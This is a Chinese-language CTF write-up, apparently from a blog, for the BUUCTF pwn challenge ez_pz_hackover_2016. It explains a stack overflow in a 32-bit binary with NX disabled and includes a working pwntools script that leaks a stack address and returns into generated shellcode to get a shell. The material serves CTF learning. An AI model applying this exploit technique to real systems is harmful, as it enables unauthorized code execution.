Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算
32位,开启了RELRO保护,堆栈地址随机化
没有开启nx保护,可利用写入shellcode来获取shell
一开始给我们输出了参数s的地址
strcmp函数:
两个字符串自左向右逐个字符相比(按ASCII值大小相比较),直到出现不同的字符或遇’\0’为止
也就是我们应该输入 ‘crashme\x00’ 可以绕过这个if检查,之后执行vuln函数
dest大小根本不是0x32,要动态调试看大小其实是 0x16
利用思路:
1.往s参数里写入shellcode,执行vuln函数后让dest造成溢出
2.将返回地址修改为shellcode的地址去执行
调试过程
1.找我们写入的shellcode在栈上的地址位置
在ida里找一个nop指令来下断点,我这边是利用0x8048600这个地址的nop
from pwn import *
p=process('./ez_pz_hackover_2016')
context.log_level='debug'gdb.attach(p,'b *0x8048600')#利用gdb动调,在0x8048600处下了个断点p.recvuntil('crash: ')
stack=int(p.recv(10),16)#接收回显的参数s在栈上的地址,长度是10,以16进制表示
print hex(stack)payload='crashme\x00'+'aaaaaa'#前面的crashme\x00绕过if判断#后面的aaaa是测试数据,随便输入的,我们等等去栈上找它的地址#利用它找到返回地址在栈上的地址,将返回地址覆盖为shellcode
p.sendline(payload)pause()#linxu下的暂停程序命令
按c执行下一步
输入stack30查看栈
ebp的位置是0x38,我们输入参数的位置是0x22.
看到了我们输入的数据,‘ashme’,由于对齐的原因,没有跟 ‘cr’ 连在一起,我们看它上一行0x63就是 ‘c’ ,0x72是 ‘r’
,由于小端序的原因,所以是这样的
我们看左边是0x20,但其实是0x22
------- 0x7263f7f1 是从63开始读入数据的 即 23 22 21 20
ebp距离我们的输入点的距离是0x38-0x22=0x16;
shellcode应该写在ebp之后(32位程序的ebp占4个字节),就是在0x16+0x4处
在覆盖完ebp后的返回地址应该填写指向shellcode的地址
payload=‘crashme\x00’+‘a’*(0x16+0x4-8)+p32(addr)
-8是 ‘crashme\x00’ 占用了8字节,+4是用来覆盖ebp的
2.找到指向shellcode的地址
虽然地址会随机化但是偏移量不会变
开始得到了一个chall函数s栈上的地址0xffe1d35c
它在参数s栈上的相对位置是0x20
返回地址在参数s栈上的相对位置是0x3c(ebp+4)
输入点距离我们的返回地址的距离是0x3c-0x20=0x1c
用0xffe1d35c-0x1c
来表示返回地址
from pwn import *r=remote('node3.buuoj.cn',26843)
#p=process('./ez_pz_hackover_2016')
context.log_level='debug'#gdb.attach(p,'b *0x8048600')r.recvuntil('crash: ')
stack=int(r.recv(10),16)
shellcode=asm(shellcraft.sh())#利用pwntools自动生成shellcode
#print hex(stack)payload='crashme\x00'+'a'*(0x16-8+4)+p32(stack-0x1c)+shellcode
r.sendline(payload)#pause()r.interactive()
Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算相关推荐
- BUUCTF pwn ez_pz_hackover_2016
0x01 文件分析 没有不可执行栈和段上的读写保护,可以做到很多事情. 0x02 运行 输入name并且回显,上面还有一个地址. 0x03 IDA 主要的漏洞点在这个函数内部的,chal ...
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- BUUCTF【ez_pz_hackover_2016】
BUUCTF[ez_pz_hackover_2016] 例行检查 开了relro,其他保护机制都没开,扔到IDA中分析 漏洞分析 chall()函数中,有fgets(),但长度不够覆盖到返回地址,没法 ...
- BUUCTF pwn wp 76 - 80
cmcc_pwnme2 int __cdecl userfunction(char *src) {char dest[108]; // [esp+Ch] [ebp-6Ch] BYREFstrcpy(d ...
- buuctf pwn bjdctf_2020_babyrop
buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...
- BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...
- BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...
- BUUCTF(pwn)[HarekazeCTF2019]baby_rop2 泄露libc基址,rop,利用gadget
64位,开了nx保护 运行了一下程序 buf的大小是0x20,但是读入的时候读入的是0x100,会造成溢出,我们要想办法覆盖返回地址为" system('/bin/sh') 利用read函数 ...
- BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc
思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...
最新文章
- 【Python】Python字典的高级用法-统计计数
- TeamCity和GitLab整合
- Neo4j Java REST绑定–第2部分(批处理)
- 如何给光耦输入端限流
- MySQL安装配置步骤
- linux里关于Tab/Ctrl/Shift/Insert的快捷键
- 学习型红外遥控器的FPGA设计与实现
- rips php,审计PHP工具篇之 RIPS
- 如何运营出一个有吸引力的微信公众号?
- ASTERISK+LINUX+PHP 的WebCall, 网页回拨源码
- Ardunio开发实例-敲击传感器
- Redis(9)——史上最强【集群】入门实践教程
- 勾股数(毕达哥拉斯三元组)
- 【MySQL_添加唯一性约束】
- Tsukinai的第七十四个程序(输出字符串中的元音字母)
- CSS flex的一些属性
- mysql sdo geometry_Oracle 关于WKT构造SDO_GEOMETRY的问题。详解
- [转载] 解决No module named xxx 问题
- CSDN社区分享面试经历活动作品17——在广州闯荡的经历,不断去追求自己的梦想!
- 中国工程承包行业运营状况及未来发展方向预测报告(2022-2027年)